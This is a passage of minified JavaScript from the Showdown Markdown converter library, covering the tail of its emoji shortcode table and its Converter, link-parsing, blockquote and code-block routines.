c35",monorail:"\ud83d\ude9d",moon:"\ud83c\udf14",mortar_board:"\ud83c\udf93",mosque:"\ud83d\udd4c",motor_boat:"\ud83d\udee5",motor_scooter:"\ud83d\udef5",motorcycle:"\ud83c\udfcd",motorway:"\ud83d\udee3",mount_fuji:"\ud83d\uddfb",mountain:"\u26f0",mountain_biking_man:"\ud83d\udeb5",mountain_biking_woman:"\ud83d\udeb5‍\u2640\ufe0f",mountain_cableway:"\ud83d\udea0",mountain_railway:"\ud83d\ude9e",mountain_snow:"\ud83c\udfd4",mouse:"\ud83d\udc2d",mouse2:"\ud83d\udc01",movie_camera:"\ud83c\udfa5",moyai:"\ud83d\uddff",mrs_claus:"\ud83e\udd36",muscle:"\ud83d\udcaa",mushroom:"\ud83c\udf44",musical_keyboard:"\ud83c\udfb9",musical_note:"\ud83c\udfb5",musical_score:"\ud83c\udfbc",mute:"\ud83d\udd07",nail_care:"\ud83d\udc85",name_badge:"\ud83d\udcdb",national_park:"\ud83c\udfde",nauseated_face:"\ud83e\udd22",necktie:"\ud83d\udc54",negative_squared_cross_mark:"\u274e",nerd_face:"\ud83e\udd13",neutral_face:"\ud83d\ude10","new":"\ud83c\udd95",new_moon:"\ud83c\udf11",new_moon_with_face:"\ud83c\udf1a",newspaper:"\ud83d\udcf0",newspaper_roll:"\ud83d\uddde",next_track_button:"\u23ed",ng:"\ud83c\udd96",no_good_man:"\ud83d\ude45‍\u2642\ufe0f",no_good_woman:"\ud83d\ude45",night_with_stars:"\ud83c\udf03",no_bell:"\ud83d\udd15",no_bicycles:"\ud83d\udeb3",no_entry:"\u26d4\ufe0f",no_entry_sign:"\ud83d\udeab",no_mobile_phones:"\ud83d\udcf5",no_mouth:"\ud83d\ude36",no_pedestrians:"\ud83d\udeb7",no_smoking:"\ud83d\udead","non-potable_water":"\ud83d\udeb1",nose:"\ud83d\udc43",notebook:"\ud83d\udcd3",notebook_with_decorative_cover:"\ud83d\udcd4",notes:"\ud83c\udfb6",nut_and_bolt:"\ud83d\udd29",o:"\u2b55\ufe0f",o2:"\ud83c\udd7e\ufe0f",ocean:"\ud83c\udf0a",octopus:"\ud83d\udc19",oden:"\ud83c\udf62",office:"\ud83c\udfe2",oil_drum:"\ud83d\udee2",ok:"\ud83c\udd97",ok_hand:"\ud83d\udc4c",ok_man:"\ud83d\ude46‍\u2642\ufe0f",ok_woman:"\ud83d\ude46",old_key:"\ud83d\udddd",older_man:"\ud83d\udc74",older_woman:"\ud83d\udc75",om:"\ud83d\udd49",on:"\ud83d\udd1b",oncoming_automobile:"\ud83d\ude98",oncoming_bus:"\ud83d\ude8d",oncoming_police_car:"\ud83d\ude94",oncoming_taxi:"\ud83d\ude96",open_file_folder:"\ud83d\udcc2",open_hands:"\ud83d\udc50",open_mouth:"\ud83d\ude2e",open_umbrella:"\u2602\ufe0f",ophiuchus:"\u26ce",orange_book:"\ud83d\udcd9",orthodox_cross:"\u2626\ufe0f",outbox_tray:"\ud83d\udce4",owl:"\ud83e\udd89",ox:"\ud83d\udc02","package":"\ud83d\udce6",page_facing_up:"\ud83d\udcc4",page_with_curl:"\ud83d\udcc3",pager:"\ud83d\udcdf",paintbrush:"\ud83d\udd8c",palm_tree:"\ud83c\udf34",pancakes:"\ud83e\udd5e",panda_face:"\ud83d\udc3c",paperclip:"\ud83d\udcce",paperclips:"\ud83d\udd87",parasol_on_ground:"\u26f1",parking:"\ud83c\udd7f\ufe0f",part_alternation_mark:"\u303d\ufe0f",partly_sunny:"\u26c5\ufe0f",passenger_ship:"\ud83d\udef3",passport_control:"\ud83d\udec2",pause_button:"\u23f8",peace_symbol:"\u262e\ufe0f",peach:"\ud83c\udf51",peanuts:"\ud83e\udd5c",pear:"\ud83c\udf50",pen:"\ud83d\udd8a",pencil2:"\u270f\ufe0f",penguin:"\ud83d\udc27",pensive:"\ud83d\ude14",performing_arts:"\ud83c\udfad",persevere:"\ud83d\ude23",person_fencing:"\ud83e\udd3a",pouting_woman:"\ud83d\ude4e",phone:"\u260e\ufe0f",pick:"\u26cf",pig:"\ud83d\udc37",pig2:"\ud83d\udc16",pig_nose:"\ud83d\udc3d",pill:"\ud83d\udc8a",pineapple:"\ud83c\udf4d",ping_pong:"\ud83c\udfd3",pisces:"\u2653\ufe0f",pizza:"\ud83c\udf55",place_of_worship:"\ud83d\uded0",plate_with_cutlery:"\ud83c\udf7d",play_or_pause_button:"\u23ef",point_down:"\ud83d\udc47",point_left:"\ud83d\udc48",point_right:"\ud83d\udc49",point_up:"\u261d\ufe0f",point_up_2:"\ud83d\udc46",police_car:"\ud83d\ude93",policewoman:"\ud83d\udc6e‍\u2640\ufe0f",poodle:"\ud83d\udc29",popcorn:"\ud83c\udf7f",post_office:"\ud83c\udfe3",postal_horn:"\ud83d\udcef",postbox:"\ud83d\udcee",potable_water:"\ud83d\udeb0",potato:"\ud83e\udd54",pouch:"\ud83d\udc5d",poultry_leg:"\ud83c\udf57",pound:"\ud83d\udcb7",rage:"\ud83d\ude21",pouting_cat:"\ud83d\ude3e",pouting_man:"\ud83d\ude4e‍\u2642\ufe0f",pray:"\ud83d\ude4f",prayer_beads:"\ud83d\udcff",pregnant_woman:"\ud83e\udd30",previous_track_button:"\u23ee",prince:"\ud83e\udd34",princess:"\ud83d\udc78",printer:"\ud83d\udda8",purple_heart:"\ud83d\udc9c",purse:"\ud83d\udc5b",pushpin:"\ud83d\udccc",put_litter_in_its_place:"\ud83d\udeae",question:"\u2753",rabbit:"\ud83d\udc30",rabbit2:"\ud83d\udc07",racehorse:"\ud83d\udc0e",racing_car:"\ud83c\udfce",radio:"\ud83d\udcfb",radio_button:"\ud83d\udd18",radioactive:"\u2622\ufe0f",railway_car:"\ud83d\ude83",railway_track:"\ud83d\udee4",rainbow:"\ud83c\udf08",rainbow_flag:"\ud83c\udff3\ufe0f‍\ud83c\udf08",raised_back_of_hand:"\ud83e\udd1a",raised_hand_with_fingers_splayed:"\ud83d\udd90",raised_hands:"\ud83d\ude4c",raising_hand_woman:"\ud83d\ude4b",raising_hand_man:"\ud83d\ude4b‍\u2642\ufe0f",ram:"\ud83d\udc0f",ramen:"\ud83c\udf5c",rat:"\ud83d\udc00",record_button:"\u23fa",recycle:"\u267b\ufe0f",red_circle:"\ud83d\udd34",registered:"\xae\ufe0f",relaxed:"\u263a\ufe0f",relieved:"\ud83d\ude0c",reminder_ribbon:"\ud83c\udf97",repeat:"\ud83d\udd01",repeat_one:"\ud83d\udd02",rescue_worker_helmet:"\u26d1",restroom:"\ud83d\udebb",revolving_hearts:"\ud83d\udc9e",rewind:"\u23ea",rhinoceros:"\ud83e\udd8f",ribbon:"\ud83c\udf80",rice:"\ud83c\udf5a",rice_ball:"\ud83c\udf59",rice_cracker:"\ud83c\udf58",rice_scene:"\ud83c\udf91",right_anger_bubble:"\ud83d\uddef",ring:"\ud83d\udc8d",robot:"\ud83e\udd16",rocket:"\ud83d\ude80",rofl:"\ud83e\udd23",roll_eyes:"\ud83d\ude44",roller_coaster:"\ud83c\udfa2",rooster:"\ud83d\udc13",rose:"\ud83c\udf39",rosette:"\ud83c\udff5",rotating_light:"\ud83d\udea8",round_pushpin:"\ud83d\udccd",rowing_man:"\ud83d\udea3",rowing_woman:"\ud83d\udea3‍\u2640\ufe0f",rugby_football:"\ud83c\udfc9",running_man:"\ud83c\udfc3",running_shirt_with_sash:"\ud83c\udfbd",running_woman:"\ud83c\udfc3‍\u2640\ufe0f",sa:"\ud83c\ude02\ufe0f",sagittarius:"\u2650\ufe0f",sake:"\ud83c\udf76",sandal:"\ud83d\udc61",santa:"\ud83c\udf85",satellite:"\ud83d\udce1",saxophone:"\ud83c\udfb7",school:"\ud83c\udfeb",school_satchel:"\ud83c\udf92",scissors:"\u2702\ufe0f",scorpion:"\ud83e\udd82",scorpius:"\u264f\ufe0f",scream:"\ud83d\ude31",scream_cat:"\ud83d\ude40",scroll:"\ud83d\udcdc",seat:"\ud83d\udcba",secret:"\u3299\ufe0f",see_no_evil:"\ud83d\ude48",seedling:"\ud83c\udf31",selfie:"\ud83e\udd33",shallow_pan_of_food:"\ud83e\udd58",shamrock:"\u2618\ufe0f",shark:"\ud83e\udd88",shaved_ice:"\ud83c\udf67",sheep:"\ud83d\udc11",shell:"\ud83d\udc1a",shield:"\ud83d\udee1",shinto_shrine:"\u26e9",ship:"\ud83d\udea2",shirt:"\ud83d\udc55",shopping:"\ud83d\udecd",shopping_cart:"\ud83d\uded2",shower:"\ud83d\udebf",shrimp:"\ud83e\udd90",signal_strength:"\ud83d\udcf6",six_pointed_star:"\ud83d\udd2f",ski:"\ud83c\udfbf",skier:"\u26f7",skull:"\ud83d\udc80",skull_and_crossbones:"\u2620\ufe0f",sleeping:"\ud83d\ude34",sleeping_bed:"\ud83d\udecc",sleepy:"\ud83d\ude2a",slightly_frowning_face:"\ud83d\ude41",slightly_smiling_face:"\ud83d\ude42",slot_machine:"\ud83c\udfb0",small_airplane:"\ud83d\udee9",small_blue_diamond:"\ud83d\udd39",small_orange_diamond:"\ud83d\udd38",small_red_triangle:"\ud83d\udd3a",small_red_triangle_down:"\ud83d\udd3b",smile:"\ud83d\ude04",smile_cat:"\ud83d\ude38",smiley:"\ud83d\ude03",smiley_cat:"\ud83d\ude3a",smiling_imp:"\ud83d\ude08",smirk:"\ud83d\ude0f",smirk_cat:"\ud83d\ude3c",smoking:"\ud83d\udeac",snail:"\ud83d\udc0c",snake:"\ud83d\udc0d",sneezing_face:"\ud83e\udd27",snowboarder:"\ud83c\udfc2",snowflake:"\u2744\ufe0f",snowman:"\u26c4\ufe0f",snowman_with_snow:"\u2603\ufe0f",sob:"\ud83d\ude2d",soccer:"\u26bd\ufe0f",soon:"\ud83d\udd1c",sos:"\ud83c\udd98",sound:"\ud83d\udd09",space_invader:"\ud83d\udc7e",spades:"\u2660\ufe0f",spaghetti:"\ud83c\udf5d",sparkle:"\u2747\ufe0f",sparkler:"\ud83c\udf87",sparkles:"\u2728",sparkling_heart:"\ud83d\udc96",speak_no_evil:"\ud83d\ude4a",speaker:"\ud83d\udd08",speaking_head:"\ud83d\udde3",speech_balloon:"\ud83d\udcac",speedboat:"\ud83d\udea4",spider:"\ud83d\udd77",spider_web:"\ud83d\udd78",spiral_calendar:"\ud83d\uddd3",spiral_notepad:"\ud83d\uddd2",spoon:"\ud83e\udd44",squid:"\ud83e\udd91",stadium:"\ud83c\udfdf",star:"\u2b50\ufe0f",star2:"\ud83c\udf1f",star_and_crescent:"\u262a\ufe0f",star_of_david:"\u2721\ufe0f",stars:"\ud83c\udf20",station:"\ud83d\ude89",statue_of_liberty:"\ud83d\uddfd",steam_locomotive:"\ud83d\ude82",stew:"\ud83c\udf72",stop_button:"\u23f9",stop_sign:"\ud83d\uded1",stopwatch:"\u23f1",straight_ruler:"\ud83d\udccf",strawberry:"\ud83c\udf53",stuck_out_tongue:"\ud83d\ude1b",stuck_out_tongue_closed_eyes:"\ud83d\ude1d",stuck_out_tongue_winking_eye:"\ud83d\ude1c",studio_microphone:"\ud83c\udf99",stuffed_flatbread:"\ud83e\udd59",sun_behind_large_cloud:"\ud83c\udf25",sun_behind_rain_cloud:"\ud83c\udf26",sun_behind_small_cloud:"\ud83c\udf24",sun_with_face:"\ud83c\udf1e",sunflower:"\ud83c\udf3b",sunglasses:"\ud83d\ude0e",sunny:"\u2600\ufe0f",sunrise:"\ud83c\udf05",sunrise_over_mountains:"\ud83c\udf04",surfing_man:"\ud83c\udfc4",surfing_woman:"\ud83c\udfc4‍\u2640\ufe0f",sushi:"\ud83c\udf63",suspension_railway:"\ud83d\ude9f",sweat:"\ud83d\ude13",sweat_drops:"\ud83d\udca6",sweat_smile:"\ud83d\ude05",sweet_potato:"\ud83c\udf60",swimming_man:"\ud83c\udfca",swimming_woman:"\ud83c\udfca‍\u2640\ufe0f",symbols:"\ud83d\udd23",synagogue:"\ud83d\udd4d",syringe:"\ud83d\udc89",taco:"\ud83c\udf2e",tada:"\ud83c\udf89",tanabata_tree:"\ud83c\udf8b",taurus:"\u2649\ufe0f",taxi:"\ud83d\ude95",tea:"\ud83c\udf75",telephone_receiver:"\ud83d\udcde",telescope:"\ud83d\udd2d",tennis:"\ud83c\udfbe",tent:"\u26fa\ufe0f",thermometer:"\ud83c\udf21",thinking:"\ud83e\udd14",thought_balloon:"\ud83d\udcad",ticket:"\ud83c\udfab",tickets:"\ud83c\udf9f",tiger:"\ud83d\udc2f",tiger2:"\ud83d\udc05",timer_clock:"\u23f2",tipping_hand_man:"\ud83d\udc81‍\u2642\ufe0f",tired_face:"\ud83d\ude2b",tm:"\u2122\ufe0f",toilet:"\ud83d\udebd",tokyo_tower:"\ud83d\uddfc",tomato:"\ud83c\udf45",tongue:"\ud83d\udc45",top:"\ud83d\udd1d",tophat:"\ud83c\udfa9",tornado:"\ud83c\udf2a",trackball:"\ud83d\uddb2",tractor:"\ud83d\ude9c",traffic_light:"\ud83d\udea5",train:"\ud83d\ude8b",train2:"\ud83d\ude86",tram:"\ud83d\ude8a",triangular_flag_on_post:"\ud83d\udea9",triangular_ruler:"\ud83d\udcd0",trident:"\ud83d\udd31",triumph:"\ud83d\ude24",trolleybus:"\ud83d\ude8e",trophy:"\ud83c\udfc6",tropical_drink:"\ud83c\udf79",tropical_fish:"\ud83d\udc20",truck:"\ud83d\ude9a",trumpet:"\ud83c\udfba",tulip:"\ud83c\udf37",tumbler_glass:"\ud83e\udd43",turkey:"\ud83e\udd83",turtle:"\ud83d\udc22",tv:"\ud83d\udcfa",twisted_rightwards_arrows:"\ud83d\udd00",two_hearts:"\ud83d\udc95",two_men_holding_hands:"\ud83d\udc6c",two_women_holding_hands:"\ud83d\udc6d",u5272:"\ud83c\ude39",u5408:"\ud83c\ude34",u55b6:"\ud83c\ude3a",u6307:"\ud83c\ude2f\ufe0f",u6708:"\ud83c\ude37\ufe0f",u6709:"\ud83c\ude36",u6e80:"\ud83c\ude35",u7121:"\ud83c\ude1a\ufe0f",u7533:"\ud83c\ude38",u7981:"\ud83c\ude32",u7a7a:"\ud83c\ude33",umbrella:"\u2614\ufe0f",unamused:"\ud83d\ude12",underage:"\ud83d\udd1e",unicorn:"\ud83e\udd84",unlock:"\ud83d\udd13",up:"\ud83c\udd99",upside_down_face:"\ud83d\ude43",v:"\u270c\ufe0f",vertical_traffic_light:"\ud83d\udea6",vhs:"\ud83d\udcfc",vibration_mode:"\ud83d\udcf3",video_camera:"\ud83d\udcf9",video_game:"\ud83c\udfae",violin:"\ud83c\udfbb",virgo:"\u264d\ufe0f",volcano:"\ud83c\udf0b",volleyball:"\ud83c\udfd0",vs:"\ud83c\udd9a",vulcan_salute:"\ud83d\udd96",walking_man:"\ud83d\udeb6",walking_woman:"\ud83d\udeb6‍\u2640\ufe0f",waning_crescent_moon:"\ud83c\udf18",waning_gibbous_moon:"\ud83c\udf16",warning:"\u26a0\ufe0f",wastebasket:"\ud83d\uddd1",watch:"\u231a\ufe0f",water_buffalo:"\ud83d\udc03",watermelon:"\ud83c\udf49",wave:"\ud83d\udc4b",wavy_dash:"\u3030\ufe0f",waxing_crescent_moon:"\ud83c\udf12",wc:"\ud83d\udebe",weary:"\ud83d\ude29",wedding:"\ud83d\udc92",weight_lifting_man:"\ud83c\udfcb\ufe0f",weight_lifting_woman:"\ud83c\udfcb\ufe0f‍\u2640\ufe0f",whale:"\ud83d\udc33",whale2:"\ud83d\udc0b",wheel_of_dharma:"\u2638\ufe0f",wheelchair:"\u267f\ufe0f",white_check_mark:"\u2705",white_circle:"\u26aa\ufe0f",white_flag:"\ud83c\udff3\ufe0f",white_flower:"\ud83d\udcae",white_large_square:"\u2b1c\ufe0f",white_medium_small_square:"\u25fd\ufe0f",white_medium_square:"\u25fb\ufe0f",white_small_square:"\u25ab\ufe0f",white_square_button:"\ud83d\udd33",wilted_flower:"\ud83e\udd40",wind_chime:"\ud83c\udf90",wind_face:"\ud83c\udf2c",wine_glass:"\ud83c\udf77",wink:"\ud83d\ude09",wolf:"\ud83d\udc3a",woman:"\ud83d\udc69",woman_artist:"\ud83d\udc69‍\ud83c\udfa8",woman_astronaut:"\ud83d\udc69‍\ud83d\ude80",woman_cartwheeling:"\ud83e\udd38‍\u2640\ufe0f",woman_cook:"\ud83d\udc69‍\ud83c\udf73",woman_facepalming:"\ud83e\udd26‍\u2640\ufe0f",woman_factory_worker:"\ud83d\udc69‍\ud83c\udfed",woman_farmer:"\ud83d\udc69‍\ud83c\udf3e",woman_firefighter:"\ud83d\udc69‍\ud83d\ude92",woman_health_worker:"\ud83d\udc69‍\u2695\ufe0f",woman_judge:"\ud83d\udc69‍\u2696\ufe0f",woman_juggling:"\ud83e\udd39‍\u2640\ufe0f",woman_mechanic:"\ud83d\udc69‍\ud83d\udd27",woman_office_worker:"\ud83d\udc69‍\ud83d\udcbc",woman_pilot:"\ud83d\udc69‍\u2708\ufe0f",woman_playing_handball:"\ud83e\udd3e‍\u2640\ufe0f",woman_playing_water_polo:"\ud83e\udd3d‍\u2640\ufe0f",woman_scientist:"\ud83d\udc69‍\ud83d\udd2c",woman_shrugging:"\ud83e\udd37‍\u2640\ufe0f",woman_singer:"\ud83d\udc69‍\ud83c\udfa4",woman_student:"\ud83d\udc69‍\ud83c\udf93",woman_teacher:"\ud83d\udc69‍\ud83c\udfeb",woman_technologist:"\ud83d\udc69‍\ud83d\udcbb",woman_with_turban:"\ud83d\udc73‍\u2640\ufe0f",womans_clothes:"\ud83d\udc5a",womans_hat:"\ud83d\udc52",women_wrestling:"\ud83e\udd3c‍\u2640\ufe0f",womens:"\ud83d\udeba",world_map:"\ud83d\uddfa",worried:"\ud83d\ude1f",wrench:"\ud83d\udd27",writing_hand:"\u270d\ufe0f",x:"\u274c",yellow_heart:"\ud83d\udc9b",yen:"\ud83d\udcb4",yin_yang:"\u262f\ufe0f",yum:"\ud83d\ude0b",zap:"\u26a1\ufe0f",zipper_mouth_face:"\ud83e\udd10",zzz:"\ud83d\udca4",octocat:'<img alt=":octocat:" height="20" width="20" align="absmiddle" src="https://assets-cdn.github.com/images/icons/emoji/octocat.png">',showdown:"<span style=\"font-family: 'Anonymous Pro', monospace; text-decoration: underline; text-decoration-style: dashed; text-decoration-color: #3e8b8a;text-underline-position: under;\">S</span>"},w.Converter=function(a){var n={},s=[],i=[],l={},t=g,o={parsed:{},raw:"",format:""};function c(e,r){if(r=r||null,w.helper.isString(e)){if(r=e=w.helper.stdExtName(e),w.extensions[e])return void function o(e,r){"function"==typeof e&&(e=e(new w.Converter));w.helper.isArray(e)||(e=[e]);var a=f(e,r);if(!a.valid)throw Error(a.error);for(var t=0;t<e.length;++t)switch(e[t].type){case"lang":s.push(e[t]);break;case"output":i.push(e[t]);break;default:throw Error("Extension loader error: Type unrecognized!!!")}}(w.extensions[e],e);if(w.helper.isUndefined(h[e]))throw Error('Extension "'+e+'" could not be loaded. It was either not found or is not a valid extension.');e=h[e]}"function"==typeof e&&(e=e()),w.helper.isArray(e)||(e=[e]);var a=f(e,r);if(!a.valid)throw Error(a.error);for(var t=0;t<e.length;++t){switch(e[t].type){case"lang":s.push(e[t]);break;case"output":i.push(e[t])}if(e[t].hasOwnProperty("listeners"))for(var n in e[t].listeners)e[t].listeners.hasOwnProperty(n)&&u(n,e[t].listeners[n])}}function u(e,r){if(!w.helper.isString(e))throw Error("Invalid argument in converter.listen() method: name must be a string, but "+p(e)+" given");if("function"!=typeof r)throw Error("Invalid argument in converter.listen() method: callback must be a function, but "+p(r)+" given");l.hasOwnProperty(e)||(l[e]=[]),l[e].push(r)}!function d(){for(var e in a=a||{},_)_.hasOwnProperty(e)&&(n[e]=_[e]);{if("object"!==p(a))throw Error("Converter expects the passed parameter to be an object, but "+p(a)+" was passed instead.");for(var r in a)a.hasOwnProperty(r)&&(n[r]=a[r])}n.extensions&&w.helper.forEach(n.extensions,c)}(),this._dispatch=function(e,r,a,t){if(l.hasOwnProperty(e))for(var n=0;n<l[e].length;++n){var o=l[e][n](e,r,this,a,t);o&&void 0!==o&&(r=o)}return r},this.listen=function(e,r){return u(e,r),this},this.makeHtml=function(r){if(!r)return r;var a={gHtmlBlocks:[],gHtmlMdBlocks:[],gHtmlSpans:[],gUrls:{},gTitles:{},gDimensions:{},gListLevel:0,hashLinkCounts:{},langExtensions:s,outputModifiers:i,converter:this,ghCodeBlocks:[],metadata:{parsed:{},raw:"",format:""}};return r=(r=(r=(r=(r=r.replace(/\xa8/g,"\xa8T")).replace(/\$/g,"\xa8D")).replace(/\r\n/g,"\n")).replace(/\r/g,"\n")).replace(/\u00A0/g," "),n.smartIndentationFix&&(r=function t(e){var r=e.match(/^\s*/)[0].length,a=new RegExp("^\\s{0,"+r+"}","gm");return e.replace(a,"")}(r)),r="\n\n"+r+"\n\n",r=(r=w.subParser("detab")(r,n,a)).replace(/^[ \t]+$/gm,""),w.helper.forEach(s,function(e){r=w.subParser("runExtension")(e,r,n,a)}),r=w.subParser("metadata")(r,n,a),r=w.subParser("hashPreCodeTags")(r,n,a),r=w.subParser("githubCodeBlocks")(r,n,a),r=w.subParser("hashHTMLBlocks")(r,n,a),r=w.subParser("hashCodeTags")(r,n,a),r=w.subParser("stripLinkDefinitions")(r,n,a),r=w.subParser("blockGamut")(r,n,a),r=w.subParser("unhashHTMLSpans")(r,n,a),r=(r=(r=w.subParser("unescapeSpecialChars")(r,n,a)).replace(/\xa8D/g,"$$")).replace(/\xa8T/g,"\xa8"),r=w.subParser("completeHTMLDocument")(r,n,a),w.helper.forEach(i,function(e){r=w.subParser("runExtension")(e,r,n,a)}),o=a.metadata,r},this.makeMarkdown=this.makeMd=function(e,r){if(e=(e=(e=e.replace(/\r\n/g,"\n")).replace(/\r/g,"\n")).replace(/>[ \t]+</,">\xa8NBSP;<"),!r){if(!window||!window.document)throw new Error("HTMLParser is undefined. If in a webworker or nodejs environment, you need to provide a WHATWG DOM and HTML such as JSDOM");r=window.document}var a=r.createElement("div");a.innerHTML=e;var t={preList:function c(e){for(var r=e.querySelectorAll("pre"),a=[],t=0;t<r.length;++t)if(1===r[t].childElementCount&&"code"===r[t].firstChild.tagName.toLowerCase()){var n=r[t].firstChild.innerHTML.trim(),o=r[t].firstChild.getAttribute("data-language")||"";if(""===o)for(var s=r[t].firstChild.className.split(" "),i=0;i<s.length;++i){var l=s[i].match(/^language-(.+)$/);if(null!==l){o=l[1];break}}n=w.helper.unescapeHTMLEntities(n),a.push(n),r[t].outerHTML='<precode language="'+o+'" precodenum="'+t.toString()+'"></precode>'}else a.push(r[t].innerHTML),r[t].innerHTML="",r[t].setAttribute("prenum",t.toString());return a}(a)};!function i(e){for(var r=0;r<e.childNodes.length;++r){var a=e.childNodes[r];3===a.nodeType?/\S/.test(a.nodeValue)?(a.nodeValue=a.nodeValue.split("\n").join(" "),a.nodeValue=a.nodeValue.replace(/(\s)+/g,"$1")):(e.removeChild(a),--r):1===a.nodeType&&i(a)}}(a);for(var n=a.childNodes,o="",s=0;s<n.length;s++)o+=w.subParser("makeMarkdown.node")(n[s],t);return o},this.setOption=function(e,r){n[e]=r},this.getOption=function(e){return n[e]},this.getOptions=function(){return n},this.addExtension=function(e,r){c(e,r=r||null)},this.useExtension=function(e){c(e)},this.setFlavor=function(e){if(!m.hasOwnProperty(e))throw Error(e+" flavor was not found");var r=m[e];for(var a in t=e,r)r.hasOwnProperty(a)&&(n[a]=r[a])},this.getFlavor=function(){return t},this.removeExtension=function(e){w.helper.isArray(e)||(e=[e]);for(var r=0;r<e.length;++r){for(var a=e[r],t=0;t<s.length;++t)s[t]===a&&s[t].splice(t,1);for(;0<i.length;++t)i[0]===a&&i[0].splice(t,1)}},this.getAllExtensions=function(){return{language:s,output:i}},this.getMetadata=function(e){return e?o.raw:o.parsed},this.getMetadataFormat=function(){return o.format},this._setMetadataPair=function(e,r){o.parsed[e]=r},this._setMetadataFormat=function(e){o.format=e},this._setMetadataRaw=function(e){o.raw=e}},w.subParser("anchors",function(e,l,c){var u=function u(e,r,a,t,n,o,s){if(w.helper.isUndefined(s)&&(s=""),a=a.toLowerCase(),-1<e.search(/\(<?\s*>? ?(['"].*['"])?\)$/m))t="";else if(!t){if(a||(a=r.toLowerCase().replace(/ ?\n/g," ")),t="#"+a,w.helper.isUndefined(c.gUrls[a]))return e;t=c.gUrls[a],w.helper.isUndefined(c.gTitles[a])||(s=c.gTitles[a])}var i='<a href="'+(t=t.replace(w.helper.regexes.asteriskDashAndColon,w.helper.escapeCharactersCallback))+'"';return""!==s&&null!==s&&(i+=' title="'+(s=(s=s.replace(/"/g,""")).replace(w.helper.regexes.asteriskDashAndColon,w.helper.escapeCharactersCallback))+'"'),l.openLinksInNewWindow&&!/^#/.test(t)&&(i+=' rel="noopener noreferrer" target="\xa8E95Eblank"'),i+=">"+r+"</a>"};return e=(e=(e=(e=(e=c.converter._dispatch("anchors.before",e,l,c)).replace(/\[((?:\[[^\]]*]|[^\[\]])*)] ?(?:\n *)?\[(.*?)]()()()()/g,u)).replace(/\[((?:\[[^\]]*]|[^\[\]])*)]()[ \t]*\([ \t]?<([^>]*)>(?:[ \t]*((["'])([^"]*?)\5))?[ \t]?\)/g,u)).replace(/\[((?:\[[^\]]*]|[^\[\]])*)]()[ \t]*\([ \t]?<?([\S]+?(?:\([\S]*?\)[\S]*?)?)>?(?:[ \t]*((["'])([^"]*?)\5))?[ \t]?\)/g,u)).replace(/\[([^\[\]]+)]()()()()()/g,u),l.ghMentions&&(e=e.replace(/(^|\s)(\\)?(@([a-z\d]+(?:[a-z\d.-]+?[a-z\d]+)*))/gim,function(e,r,a,t,n){if("\\"===a)return r+t;if(!w.helper.isString(l.ghMentionsLink))throw new Error("ghMentionsLink option must be a string");var o=l.ghMentionsLink.replace(/\{u}/g,n),s="";return l.openLinksInNewWindow&&(s=' rel="noopener noreferrer" target="\xa8E95Eblank"'),r+'<a href="'+o+'"'+s+">"+t+"</a>"})),e=c.converter._dispatch("anchors.after",e,l,c)});var n=/([*~_]+|\b)(((https?|ftp|dict):\/\/|www\.)[^'">\s]+?\.[^'">\s]+?)()(\1)?(?=\s|$)(?!["<>])/gi,s=/([*~_]+|\b)(((https?|ftp|dict):\/\/|www\.)[^'">\s]+\.[^'">\s]+?)([.!?,()\[\]])?(\1)?(?=\s|$)(?!["<>])/gi,i=/()<(((https?|ftp|dict):\/\/|www\.)[^'">\s]+)()>()/gi,l=/(^|\s)(?:mailto:)?([A-Za-z0-9!#$%&'*+-/=?^_`{|}~.]+@[-a-z0-9]+(\.[-a-z0-9]+)*\.[a-z]+)(?=$|\s)/gim,c=/<()(?:mailto:)?([-.\w]+@[-a-z0-9]+(\.[-a-z0-9]+)*\.[a-z]+)>/gi,u=function u(p){return function(e,r,a,t,n,o,s){var i=a=a.replace(w.helper.regexes.asteriskDashAndColon,w.helper.escapeCharactersCallback),l="",c="",u=r||"",d=s||"";return/^www\./i.test(a)&&(a=a.replace(/^www\./i,"http://www.")),p.excludeTrailingPunctuationFromURLs&&o&&(l=o),p.openLinksInNewWindow&&(c=' rel="noopener noreferrer" target="\xa8E95Eblank"'),u+'<a href="'+a+'"'+c+">"+i+"</a>"+l+d}},d=function d(n,o){return function(e,r,a){var t="mailto:";return r=r||"",a=w.subParser("unescapeSpecialChars")(a,n,o),n.encodeEmails?(t=w.helper.encodeEmailAddress(t+a),a=w.helper.encodeEmailAddress(a)):t+=a,r+'<a href="'+t+'">'+a+"</a>"}};return w.subParser("autoLinks",function(e,r,a){return e=(e=(e=a.converter._dispatch("autoLinks.before",e,r,a)).replace(i,u(r))).replace(c,d(r,a)),e=a.converter._dispatch("autoLinks.after",e,r,a)}),w.subParser("simplifiedAutoLinks",function(e,r,a){return r.simplifiedAutoLink?(e=a.converter._dispatch("simplifiedAutoLinks.before",e,r,a),e=(e=r.excludeTrailingPunctuationFromURLs?e.replace(s,u(r)):e.replace(n,u(r))).replace(l,d(r,a)),e=a.converter._dispatch("simplifiedAutoLinks.after",e,r,a)):e}),w.subParser("blockGamut",function(e,r,a){return e=a.converter._dispatch("blockGamut.before",e,r,a),e=w.subParser("blockQuotes")(e,r,a),e=w.subParser("headers")(e,r,a),e=w.subParser("horizontalRule")(e,r,a),e=w.subParser("lists")(e,r,a),e=w.subParser("codeBlocks")(e,r,a),e=w.subParser("tables")(e,r,a),e=w.subParser("hashHTMLBlocks")(e,r,a),e=w.subParser("paragraphs")(e,r,a),e=a.converter._dispatch("blockGamut.after",e,r,a)}),w.subParser("blockQuotes",function(e,r,a){e=a.converter._dispatch("blockQuotes.before",e,r,a),e+="\n\n";var t=/(^ {0,3}>[ \t]?.+\n(.+\n)*\n*)+/gm;return r.splitAdjacentBlockquotes&&(t=/^ {0,3}>[\s\S]*?(?:\n\n)/gm),e=e.replace(t,function(e){return e=(e=(e=e.replace(/^[ \t]*>[ \t]?/gm,"")).replace(/\xa80/g,"")).replace(/^[ \t]+$/gm,""),e=w.subParser("githubCodeBlocks")(e,r,a),e=(e=(e=w.subParser("blockGamut")(e,r,a)).replace(/(^|\n)/g,"$1 ")).replace(/(\s*<pre>[^\r]+?<\/pre>)/gm,function(e,r){var a=r;return a=(a=a.replace(/^ {2}/gm,"\xa80")).replace(/\xa80/g,"")}),w.subParser("hashBlock")("<blockquote>\n"+e+"\n</blockquote>",r,a)}),e=a.converter._dispatch("blockQuotes.after",e,r,a)}),w.subParser("codeBlocks",function(e,s,i){e=i.converter._dispatch("codeBlocks.before",e,s,i);return e=(e=(e+="\xa80").replace(/(?:\n\n|^)((?:(?:[ ]{4}|\t).*\n+)+)(\n*[ ]{0,3}[^ \t\n]|(?=\xa80))/g,function(e,r,a){var t=r,n=a,o="\n";return 